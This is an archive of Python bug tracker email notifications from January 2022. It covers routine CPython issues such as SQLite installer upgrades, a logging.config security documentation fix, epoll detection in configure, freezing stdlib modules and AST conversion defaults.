Subject: [issue46280] About vulnerabilities in Cpython native code In-Reply-To: <1641474472.82.0.569971622344.issue46280@roundup.psfhosted.org> Message-ID: <1641506711.29.0.614846474994.issue46280@roundup.psfhosted.org> Raymond Hettinger added the comment: Update on #324 and #325. Not only are these false positives, but Serhiy pointed-out the existing logic is intentional and should not be rewritten. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 17:24:38 2022 From: report at bugs.python.org (Steve Dower) Date: Thu, 06 Jan 2022 22:24:38 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.2 In-Reply-To: <1641505297.62.0.216944588093.issue45925@roundup.psfhosted.org> Message-ID: <1d880646-1982-1422-b96d-bf0a5b0d9690@python.org> Steve Dower added the comment: We should definitely upgrade, but we probably don't have to trigger a fresh release of all branches for it, or make a big fuss about it being a special fix. That's all I was trying to establish. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 17:35:18 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 22:35:18 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641508518.33.0.685596794111.issue46251@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 3.0 -> 4.0 pull_requests: +28652 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30447 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 17:35:22 2022 From: report at bugs.python.org (miss-islington) Date: Thu, 06 Jan 2022 22:35:22 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641508522.92.0.692984769426.issue46251@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28653 pull_request: https://github.com/python/cpython/pull/30448 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 17:35:24 2022 From: report at bugs.python.org (Vinay Sajip) Date: Thu, 06 Jan 2022 22:35:24 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641508524.79.0.965302666152.issue46251@roundup.psfhosted.org> Vinay Sajip added the comment: New changeset 46c7a6566bca2e974a89c90c35ed1c498d9d3b02 by Vinay Sajip in branch 'main': bpo-46251: Add 'Security Considerations' section to logging configura? (GH-30411) https://github.com/python/cpython/commit/46c7a6566bca2e974a89c90c35ed1c498d9d3b02 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 17:41:56 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Thu, 06 Jan 2022 22:41:56 +0000 Subject: [issue45925] Upgrade macOS and Windows installers to use SQLite 3.37.2 In-Reply-To: <1638187039.58.0.251846461245.issue45925@roundup.psfhosted.org> Message-ID: <1641508916.92.0.360234239162.issue45925@roundup.psfhosted.org> Erlend E. Aasland added the comment: No, I don?t think we need to rush a new release. The scheduled 3.10 and 3.9 releases should do fine. Can you update the sources repo in the mean time? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 18:18:46 2022 From: report at bugs.python.org (Vinay Sajip) Date: Thu, 06 Jan 2022 23:18:46 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641511126.95.0.457821546594.issue46251@roundup.psfhosted.org> Vinay Sajip added the comment: New changeset db60ed1170a02189a4fd4b7574e0722dd22c658b by Miss Islington (bot) in branch '3.10': [3.10] bpo-46251: Add 'Security Considerations' section to logging configura? (GH-30411) (GH-30447) https://github.com/python/cpython/commit/db60ed1170a02189a4fd4b7574e0722dd22c658b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 18:18:47 2022 From: report at bugs.python.org (Vinay Sajip) Date: Thu, 06 Jan 2022 23:18:47 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641511126.95.0.457821546594.issue46251@roundup.psfhosted.org> Vinay Sajip added the comment: New changeset db60ed1170a02189a4fd4b7574e0722dd22c658b by Miss Islington (bot) in branch '3.10': [3.10] bpo-46251: Add 'Security Considerations' section to logging configura? (GH-30411) (GH-30447) https://github.com/python/cpython/commit/db60ed1170a02189a4fd4b7574e0722dd22c658b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 18:18:47 2022 From: report at bugs.python.org (Vinay Sajip) Date: Thu, 06 Jan 2022 23:18:47 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641511127.08.0.837403378967.issue46251@roundup.psfhosted.org> Vinay Sajip added the comment: New changeset 188fbdee0d6721a948eabb81cdcacac371614793 by Miss Islington (bot) in branch '3.9': [3.9] bpo-46251: Add 'Security Considerations' section to logging configura? (GH-30411) (GH-30448) https://github.com/python/cpython/commit/188fbdee0d6721a948eabb81cdcacac371614793 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 18:21:10 2022 From: report at bugs.python.org (Vinay Sajip) Date: Thu, 06 Jan 2022 23:21:10 +0000 Subject: [issue46251] logger.config.configure_formatter executes arbitrary code In-Reply-To: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> Message-ID: <1641511270.68.0.964495066453.issue46251@roundup.psfhosted.org> Vinay Sajip added the comment: I'm closing with the assumption that the addition to the documentation covers this. If that needs to be improved, this can be reopened with specific suggestions. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 18:48:31 2022 From: report at bugs.python.org (Frank Feuerbacher) Date: Thu, 06 Jan 2022 23:48:31 +0000 Subject: [issue46264] 'I'.lower() should give non dotted i for LANG=tr_TR In-Reply-To: <1641354234.77.0.411418528996.issue46264@roundup.psfhosted.org> Message-ID: <1641512911.04.0.200930795464.issue46264@roundup.psfhosted.org> Frank Feuerbacher added the comment: Oh joy. Kodi media server is having unicode issues and this won't help. I'm trying to see how bad it is. The main use for case transformations is for internal keyword lookup/monocasing. Settings, filenames on moncased filesystems, etc. are caseless. On the main things work okay until you hit a language, such as Turkish, that does not obey the usual rules. So, ToLower('I') does not map to 'i'. There are ways to work around this, but it depends upon the robustness of the unicode implementation. I've spent the past several days looking into C++ behavior. It seemed to be similarly broken until I discovered that writing to both cout and wcout tends to break things, including unicode encoding. It will take a few days to investigate further. Thanks for the info. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 18:49:45 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 23:49:45 +0000 Subject: [issue33130] functools.reduce signature uses `iterable`, documentation should use the same term In-Reply-To: <1521849944.24.0.467229070634.issue33130@psf.upfronthosting.co.za> Message-ID: <1641512985.26.0.0722741452079.issue33130@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 18:50:51 2022 From: report at bugs.python.org (Ken Williams) Date: Thu, 06 Jan 2022 23:50:51 +0000 Subject: [issue29985] make install doesn't seem to support --quiet In-Reply-To: <1491343254.68.0.574187952476.issue29985@psf.upfronthosting.co.za> Message-ID: <1641513051.66.0.0109445388626.issue29985@roundup.psfhosted.org> Ken Williams added the comment: This situation still seems to be the case in 2022. The output of `make altinstall` has thousands of lines like /usr/bin/install -c -m 644 ./Lib/test/__main__.py /usr/local/lib/python3.8/test /usr/bin/install -c -m 644 ./Lib/test/_test_multiprocessing.py /usr/local/lib/python3.8/test /usr/bin/install -c -m 644 ./Lib/test/allsans.pem /usr/local/lib/python3.8/test /usr/bin/install -c -m 644 ./Lib/test/ann_module.py /usr/local/lib/python3.8/test /usr/bin/install -c -m 644 ./Lib/test/ann_module2.py /usr/local/lib/python3.8/test /usr/bin/install -c -m 644 ./Lib/test/ann_module3.py /usr/local/lib/python3.8/test and changing mode of /usr/local/lib/python3.8/lib-dynload/_sysconfigdata__linux_x86_64-linux-gnu.py to 644 changing mode of /usr/local/lib/python3.8/lib-dynload/_sqlite3.cpython-38-x86_64-linux-gnu.so to 755 changing mode of /usr/local/lib/python3.8/lib-dynload/array.cpython-38-x86_64-linux-gnu.so to 755 changing mode of /usr/local/lib/python3.8/lib-dynload/_posixshmem.cpython-38-x86_64-linux-gnu.so to 755 changing mode of /usr/local/lib/python3.8/lib-dynload/_testmultiphase.cpython-38-x86_64-linux-gnu.so to 755 changing mode of /usr/local/lib/python3.8/lib-dynload/_codecs_cn.cpython-38-x86_64-linux-gnu.so to 755 and Compiling '/usr/local/lib/python3.7/test/test_file.py'... Compiling '/usr/local/lib/python3.7/test/test_file_eintr.py'... Compiling '/usr/local/lib/python3.7/test/test_filecmp.py'... Compiling '/usr/local/lib/python3.7/test/test_fileinput.py'... Compiling '/usr/local/lib/python3.7/test/test_fileio.py'... Compiling '/usr/local/lib/python3.7/test/test_finalization.py'... Compiling '/usr/local/lib/python3.7/test/test_float.py'... Compiling '/usr/local/lib/python3.7/test/test_flufl.py'... For me, the problem this causes is that CI build logs get extremely long, so long that my CI build tools won't show the log in the browser anymore and it makes it quite hard to figure out where problems are happening. It looks like the problem is simply that there are lots of `echo` statements in the Makefile.pre.in that could be conditioned on `--quiet`. One small example (in the 'libinstall' target): if test -x $$i; then \ echo $(INSTALL_SCRIPT) $$i $$b; \ $(INSTALL_SCRIPT) $$i $(DESTDIR)$$b; \ else \ echo $(INSTALL_DATA) $$i $$b; \ $(INSTALL_DATA) $$i $(DESTDIR)$$b; \ I don't quite understand how `--quiet` actually gets parsed and recognized by the Makefile, though. ---------- nosy: +kenahoo versions: +Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 18:56:53 2022 From: report at bugs.python.org (Irit Katriel) Date: Thu, 06 Jan 2022 23:56:53 +0000 Subject: [issue30337] Vague wording of pkgutil.walk_packages parameter 'prefix' In-Reply-To: <1494449389.02.0.790150087603.issue30337@psf.upfronthosting.co.za> Message-ID: <1641513413.21.0.510578216283.issue30337@roundup.psfhosted.org> Irit Katriel added the comment: Thank you Sam, pkgutil.walk_packages expected None or a list of strings. In issue24744 an error message was added for a string input as in your example. ---------- nosy: +iritkatriel resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> Lack of type checks in pkgutil.walk_packages and friends _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 19:02:05 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 00:02:05 +0000 Subject: [issue9937] _winreg.EnumValue causes MemoryError In-Reply-To: <1285319837.21.0.430903654303.issue9937@psf.upfronthosting.co.za> Message-ID: <1641513725.48.0.47341006631.issue9937@roundup.psfhosted.org> Irit Katriel added the comment: > I can reproduce the issue on python2.x. I cannot on python3.x. Did anyone reproduce on python3.X? Why are versions 3.4/3.5 selected? ---------- nosy: +iritkatriel resolution: -> out of date status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 19:06:25 2022 From: report at bugs.python.org (Ken Williams) Date: Fri, 07 Jan 2022 00:06:25 +0000 Subject: [issue29985] make install doesn't seem to support --quiet In-Reply-To: <1491343254.68.0.574187952476.issue29985@psf.upfronthosting.co.za> Message-ID: <1641513985.43.0.446558144646.issue29985@roundup.psfhosted.org> Ken Williams added the comment: I poked around a bit more, and it looks like a fair number of the installation messages are coming from `Lib/distutils/command/build_scripts.py`, which is using `distutils.log` to show what it's doing: log.debug("not copying %s (up-to-date)", script) ... log.info("copying and adjusting %s -> %s", script, self.build_dir) ... log.info("changing mode of %s", file) ... log.info("changing mode of %s from %o to %o", file, oldmode, newmode) What I don't see is a way to change the log level, but if that were possible then I assume that's how `--quiet` could be achieved here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 19:16:13 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 00:16:13 +0000 Subject: [issue31327] [doc] Add example of platform-specific support for negative timestamps to the time doc In-Reply-To: <1504286649.82.0.482783873664.issue31327@psf.upfronthosting.co.za> Message-ID: <1641514573.47.0.153295775718.issue31327@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy title: bug in dateutil\tz\tz.py -> [doc] Add example of platform-specific support for negative timestamps to the time doc versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 20:06:34 2022 From: report at bugs.python.org (Zombo) Date: Fri, 07 Jan 2022 01:06:34 +0000 Subject: [issue46276] ImportError: DLL load failed while importing In-Reply-To: <1641442891.56.0.592607376526.issue46276@roundup.psfhosted.org> Message-ID: <1641517594.34.0.570965015252.issue46276@roundup.psfhosted.org> Zombo added the comment: Looks like the issue is not specific to that one package: Traceback (most recent call last): File "Lib\site-packages\PyInstaller\hooks\rthooks\pyi_rth_multiprocessing.py", line 17, in File "PyInstaller\loader\pyimod03_importers.py", line 546, in exec_module File "multiprocessing_init_.py", line 16, in File "PyInstaller\loader\pyimod03_importers.py", line 546, in exec_module File "multiprocessing\context.py", line 6, in File "PyInstaller\loader\pyimod03_importers.py", line 546, in exec_module File "multiprocessing\reduction.py", line 16, in File "PyInstaller\loader\pyimod03_importers.py", line 546, in exec_module File "socket.py", line 49, in ImportError: DLL load failed while importing _socket: El par?metro no es correcto. [8464] Failed to execute script 'pyi_rth_multiprocessing' due to unhandled exception! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 22:51:34 2022 From: report at bugs.python.org (William Fisher) Date: Fri, 07 Jan 2022 03:51:34 +0000 Subject: [issue45723] Improve and simplify configure.ac checks In-Reply-To: <1636106747.04.0.649539670364.issue45723@roundup.psfhosted.org> Message-ID: <1641527494.32.0.0292555063525.issue45723@roundup.psfhosted.org> William Fisher added the comment: In the conversion to PY_CHECK_FUNC, there's a mistake in HAVE_EPOLL. Python 3.10.1 defines HAVE_EPOLL by checking for the `epoll_create` function. Python 3.11.0a3 checks for the `epoll` function instead. There is no epoll() function so this always fails. The effect is that `epoll` doesn't exist in the `select` module on Python 3.11.0a3. Most code that uses epoll falls back when it is not available, so this may not be failing any tests. ---------- nosy: +byllyfish _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jan 6 23:58:28 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 07 Jan 2022 04:58:28 +0000 Subject: [issue45661] [meta] Freeze commonly used stdlib modules. In-Reply-To: <1635449980.31.0.181297451997.issue45661@roundup.psfhosted.org> Message-ID: <1641531508.66.0.925531653979.issue45661@roundup.psfhosted.org> Kumar Aditya added the comment: functools and contextlib are very common so they should be deep-frozen. warnings and re would be nice to do. ---------- nosy: +gvanrossum, kumaraditya303 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 01:47:07 2022 From: report at bugs.python.org (Inada Naoki) Date: Fri, 07 Jan 2022 06:47:07 +0000 Subject: [issue45661] [meta] Freeze commonly used stdlib modules. In-Reply-To: <1635449980.31.0.181297451997.issue45661@roundup.psfhosted.org> Message-ID: <1641538027.44.0.879081830399.issue45661@roundup.psfhosted.org> Inada Naoki added the comment: I don't against deep freezing functools and contextlib. But I think we should optimize and utilize zipimport or something similar, because we can not deep-freeze all stdlib or 3rd party libraries. See also: https://github.com/faster-cpython/ideas/discussions/158#discussioncomment-1857198 ---------- nosy: +methane _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 01:51:02 2022 From: report at bugs.python.org (Vinay Sajip) Date: Fri, 07 Jan 2022 06:51:02 +0000 Subject: [issue41011] [venv] record which executable and command were used to create a virtual environment In-Reply-To: <1592429138.01.0.105154043549.issue41011@roundup.psfhosted.org> Message-ID: <1641538262.3.0.625799713251.issue41011@roundup.psfhosted.org> Vinay Sajip added the comment: New changeset f4e325c21d6d9c2bf70224dc69d707b226f87872 by andrei kulakov in branch 'main': bpo-41011: venv -- add more variables to pyvenv.cfg (GH-30382) https://github.com/python/cpython/commit/f4e325c21d6d9c2bf70224dc69d707b226f87872 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 02:27:16 2022 From: report at bugs.python.org (Karthik S) Date: Fri, 07 Jan 2022 07:27:16 +0000 Subject: [issue46288] Migrating python 2.7 to 3.6 using 2to3 tool Message-ID: <1641540436.39.0.283910400749.issue46288@roundup.psfhosted.org> New submission from Karthik S : Greeting of the day to all.. I would like to address few queries as mentioned in the below. python 2.7 code is running fine on RHEL 7.9,we are migrating to python3 from Python2 using 2to3 on RHEL 7.9. After migrating, When we run our products in python 3.6,we are facing some modules are not imported error. Example 1: from IN import AF_INET6 ModuleNotFoundError: No module named 'IN' In 2.7 IN modules coming from python-libs package,but in python3-libs doesnt find the IN module. /usr/lib64/python2.7/plat-linux2/IN.py is avaialbe in python-libs-2.7.5-89.el7.x86_64 ,but it is not avilable in python3-libs. [root at opt]# rpm -ql python-libs | grep -i IN.py /usr/lib64/python2.7/plat-linux2/IN.py /usr/lib64/python2.7/plat-linux2/IN.pyc /usr/lib64/python2.7/plat-linux2/IN.pyo [root@ opt]# rpm -ql python3-libs | grep -i IN.py [root@ opt]# Example2: from yum import YumBase ModuleNotFoundError: No module named 'yum' In RHEL 7.9 python 2.7 /usr/lib/python2.7/site-packages/yum is avaialbe , but in RHEL 7.9 with python3 it is not available.python3 is require python3-dnf but this is avaialbe from RHEL 8,doesnt have in RHEL 7.9. Kindly help, how to overcome this kind of issue, it would be more helpful for us to move forward. We are using 2to3 migration tool for converting py2 to py3. ---------- components: 2to3 (2.x to 3.x conversion tool) messages: 409950 nosy: mskarthik28 priority: normal severity: normal status: open title: Migrating python 2.7 to 3.6 using 2to3 tool type: compile error versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 02:36:41 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 07 Jan 2022 07:36:41 +0000 Subject: [issue45723] Improve and simplify configure.ac checks In-Reply-To: <1636106747.04.0.649539670364.issue45723@roundup.psfhosted.org> Message-ID: <1641541001.36.0.198753183846.issue45723@roundup.psfhosted.org> Change by Christian Heimes : ---------- pull_requests: +28654 pull_request: https://github.com/python/cpython/pull/30449 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 02:37:36 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 07 Jan 2022 07:37:36 +0000 Subject: [issue45723] Improve and simplify configure.ac checks In-Reply-To: <1636106747.04.0.649539670364.issue45723@roundup.psfhosted.org> Message-ID: <1641541056.72.0.312509646615.issue45723@roundup.psfhosted.org> Christian Heimes added the comment: Thanks William! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 02:41:08 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 07 Jan 2022 07:41:08 +0000 Subject: [issue45723] Improve and simplify configure.ac checks In-Reply-To: <1636106747.04.0.649539670364.issue45723@roundup.psfhosted.org> Message-ID: <1641541268.49.0.0481761145483.issue45723@roundup.psfhosted.org> Change by Christian Heimes : ---------- priority: normal -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 02:46:17 2022 From: report at bugs.python.org (Eryk Sun) Date: Fri, 07 Jan 2022 07:46:17 +0000 Subject: [issue46276] ImportError: DLL load failed while importing In-Reply-To: <1641442891.56.0.592607376526.issue46276@roundup.psfhosted.org> Message-ID: <1641541577.52.0.204407251333.issue46276@roundup.psfhosted.org> Eryk Sun added the comment: > ImportError: DLL load failed while importing _socket: El par?metro no es correcto. I'm not familiar with the implementation of PyInstaller, which is a third-party tool. The above invalid-parameter error may be indirectly related to the problem with frida, or it may be a separate issue. The problem with frida is simply that "_frida.cp310-win_amd64.pyd" is an invalid or corrupted DLL that the system can't load. I don't know what went wrong with their build and distribution process that caused the problem. It's something to resolve on the frida issue tracker. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 03:15:28 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 07 Jan 2022 08:15:28 +0000 Subject: [issue45723] Improve and simplify configure.ac checks In-Reply-To: <1636106747.04.0.649539670364.issue45723@roundup.psfhosted.org> Message-ID: <1641543328.78.0.931319731743.issue45723@roundup.psfhosted.org> Christian Heimes added the comment: New changeset 994f90c0772612780361e1dc5fa5223dce22f70a by Christian Heimes in branch 'main': bpo-45723: Fix detection of epoll (#30449) https://github.com/python/cpython/commit/994f90c0772612780361e1dc5fa5223dce22f70a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 03:29:01 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 07 Jan 2022 08:29:01 +0000 Subject: [issue45723] Improve and simplify configure.ac checks In-Reply-To: <1636106747.04.0.649539670364.issue45723@roundup.psfhosted.org> Message-ID: <1641544141.81.0.721588771776.issue45723@roundup.psfhosted.org> Change by Christian Heimes : ---------- priority: release blocker -> normal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 03:53:44 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 07 Jan 2022 08:53:44 +0000 Subject: [issue46281] Python 3.10.1 build errors on Ubuntu 18.04 In-Reply-To: <1641480356.22.0.0866007957527.issue46281@roundup.psfhosted.org> Message-ID: <1641545624.92.0.673755975005.issue46281@roundup.psfhosted.org> Christian Heimes added the comment: Ubuntu 18.04's OpenSSL is too old and unsupported by 3.10. OpenSSL 1.0.2 is EOL since 2019. You either need to update to a more recent version of Ubuntu or build your own OpenSSL. ---------- nosy: +christian.heimes resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 04:40:18 2022 From: report at bugs.python.org (Anh71me) Date: Fri, 07 Jan 2022 09:40:18 +0000 Subject: [issue46289] AST: FomattedValue conversion's default value should be -1 Message-ID: <1641548418.91.0.245456792282.issue46289@roundup.psfhosted.org> New submission from Anh71me : An unexpected behavior lookup: ```python >>> ast.FormattedValue(ast.Str('ss')).conversion >>> ast.unparse(ast.FormattedValue(ast.Str('ss'))) Traceback (most recent call last): File "", line 1, in File "/usr/local/lib/python3.9/ast.py", line 1564, in unparse return unparser.visit(ast_obj) File "/usr/local/lib/python3.9/ast.py", line 801, in visit self.traverse(node) File "/usr/local/lib/python3.9/ast.py", line 795, in traverse super().visit(node) File "/usr/local/lib/python3.9/ast.py", line 407, in visit return visitor(node) File "/usr/local/lib/python3.9/ast.py", line 1153, in visit_FormattedValue self._fstring_FormattedValue(node, self.buffer_writer) File "/usr/local/lib/python3.9/ast.py", line 1178, in _fstring_FormattedValue conversion = chr(node.conversion) TypeError: an integer is required (got type NoneType) >>> ast.unparse(ast.FormattedValue(ast.Str('ss'), -1)) 'f"{\'ss\'}"' ``` ast.FormattedValue conversion's default value is expected to be -1 but not None See: https://docs.python.org/3/library/ast.html#ast.FormattedValue Other: If certainly, it's also a bug on typeshed. ---------- components: Parser messages: 409955 nosy: iyume, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: AST: FomattedValue conversion's default value should be -1 type: behavior versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 05:06:55 2022 From: report at bugs.python.org (Eryk Sun) Date: Fri, 07 Jan 2022 10:06:55 +0000 Subject: [issue9937] _winreg.EnumValue causes MemoryError In-Reply-To: <1285319837.21.0.430903654303.issue9937@psf.upfronthosting.co.za> Message-ID: <1641550015.09.0.222127028961.issue9937@roundup.psfhosted.org> Eryk Sun added the comment: > Did anyone reproduce on python3.X? In principle, winreg should not have a problem in 3.x because it only uses the UTF-16 wide-character API. ---------- nosy: +eryksun stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 05:13:50 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 10:13:50 +0000 Subject: [issue46279] [docs] Minor information-ordering issue in __main__ doc In-Reply-To: <1641473828.81.0.215625634201.issue46279@roundup.psfhosted.org> Message-ID: <1641550430.13.0.0446941991574.issue46279@roundup.psfhosted.org> Change by Irit Katriel : ---------- keywords: +easy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 05:36:09 2022 From: report at bugs.python.org (Zsolt Dollenstein) Date: Fri, 07 Jan 2022 10:36:09 +0000 Subject: [issue46290] Parameter names are inaccurate in dataclasses docs Message-ID: <1641551769.49.0.820395101105.issue46290@roundup.psfhosted.org> New submission from Zsolt Dollenstein : Parameter names for `asdict`, `astuple`, `is_dataclass`, and `replace` are incorrect in the docs. The first parameter for all these is `obj`. ---------- assignee: docs at python components: Documentation messages: 409957 nosy: docs at python, zsol priority: normal severity: normal status: open title: Parameter names are inaccurate in dataclasses docs versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 05:37:34 2022 From: report at bugs.python.org (Zsolt Dollenstein) Date: Fri, 07 Jan 2022 10:37:34 +0000 Subject: [issue46290] Parameter names are inaccurate in dataclasses docs In-Reply-To: <1641551769.49.0.820395101105.issue46290@roundup.psfhosted.org> Message-ID: <1641551854.27.0.698306105761.issue46290@roundup.psfhosted.org> Change by Zsolt Dollenstein : ---------- keywords: +patch pull_requests: +28655 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30450 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 06:00:37 2022 From: report at bugs.python.org (Alex Waygood) Date: Fri, 07 Jan 2022 11:00:37 +0000 Subject: [issue46290] Parameter names are inaccurate in dataclasses docs In-Reply-To: <1641551769.49.0.820395101105.issue46290@roundup.psfhosted.org> Message-ID: <1641553237.14.0.12009334902.issue46290@roundup.psfhosted.org> Change by Alex Waygood : ---------- nosy: +eric.smith type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 06:06:51 2022 From: report at bugs.python.org (Christian Heimes) Date: Fri, 07 Jan 2022 11:06:51 +0000 Subject: [issue45661] [meta] Freeze commonly used stdlib modules. In-Reply-To: <1635449980.31.0.181297451997.issue45661@roundup.psfhosted.org> Message-ID: <1641553611.63.0.186685124239.issue45661@roundup.psfhosted.org> Christian Heimes added the comment: Deep freezing is not a miracle cure for startup performance issues. Every additional frozen module increases the size of the main binary / shared library. This can have negative affects for performance and usability, too. For WASM builds we want to make the wasm binary as small as possible. ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 06:15:46 2022 From: report at bugs.python.org (Kumar Aditya) Date: Fri, 07 Jan 2022 11:15:46 +0000 Subject: [issue45661] [meta] Freeze commonly used stdlib modules. In-Reply-To: <1635449980.31.0.181297451997.issue45661@roundup.psfhosted.org> Message-ID: <1641554146.97.0.931764646287.issue45661@roundup.psfhosted.org> Kumar Aditya added the comment: Can you elaborate a bit about "This can have negative affects for performance" as I think freezing modules has only one downside of increasing binary size ? > For WASM builds we want to make the wasm binary as small as possible. If WASM would become an officially supported platform then there can be a patch to disable freezing on such platforms otherwise I don't see how because of WASM we cannot deepfreeze for other platforms which benefit from it. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 06:22:15 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 07 Jan 2022 11:22:15 +0000 Subject: [issue46289] AST: FomattedValue conversion's default value should be -1 In-Reply-To: <1641548418.91.0.245456792282.issue46289@roundup.psfhosted.org> Message-ID: <1641554535.11.0.796705629225.issue46289@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- nosy: +BTaskaya _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 07:04:01 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 12:04:01 +0000 Subject: [issue19073] Inability to specific __qualname__ as a property on a class instance. In-Reply-To: <1379857021.17.0.738971350638.issue19073@psf.upfronthosting.co.za> Message-ID: <1641557041.85.0.768368238881.issue19073@roundup.psfhosted.org> Irit Katriel added the comment: This is the check that is preventing qualname being a property: https://github.com/python/cpython/blob/994f90c0772612780361e1dc5fa5223dce22f70a/Objects/typeobject.c#L2853 Note that it is not the same check used for assignment, which is here: https://github.com/python/cpython/blob/994f90c0772612780361e1dc5fa5223dce22f70a/Objects/typeobject.c#L559 I think some unit tests are missing for properties, they would need to be added. ---------- nosy: +iritkatriel, vstinner versions: +Python 3.11 -Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 07:26:48 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Fri, 07 Jan 2022 12:26:48 +0000 Subject: [issue46246] importlib.metadata.DeprecatedList appears to be missing __slots__ In-Reply-To: <1641235148.56.0.272435496464.issue46246@roundup.psfhosted.org> Message-ID: <1641558408.55.0.928973142581.issue46246@roundup.psfhosted.org> Change by Arie Bovenberg : ---------- keywords: +patch pull_requests: +28656 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30452 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 08:30:17 2022 From: report at bugs.python.org (Gregor Titze) Date: Fri, 07 Jan 2022 13:30:17 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException Message-ID: 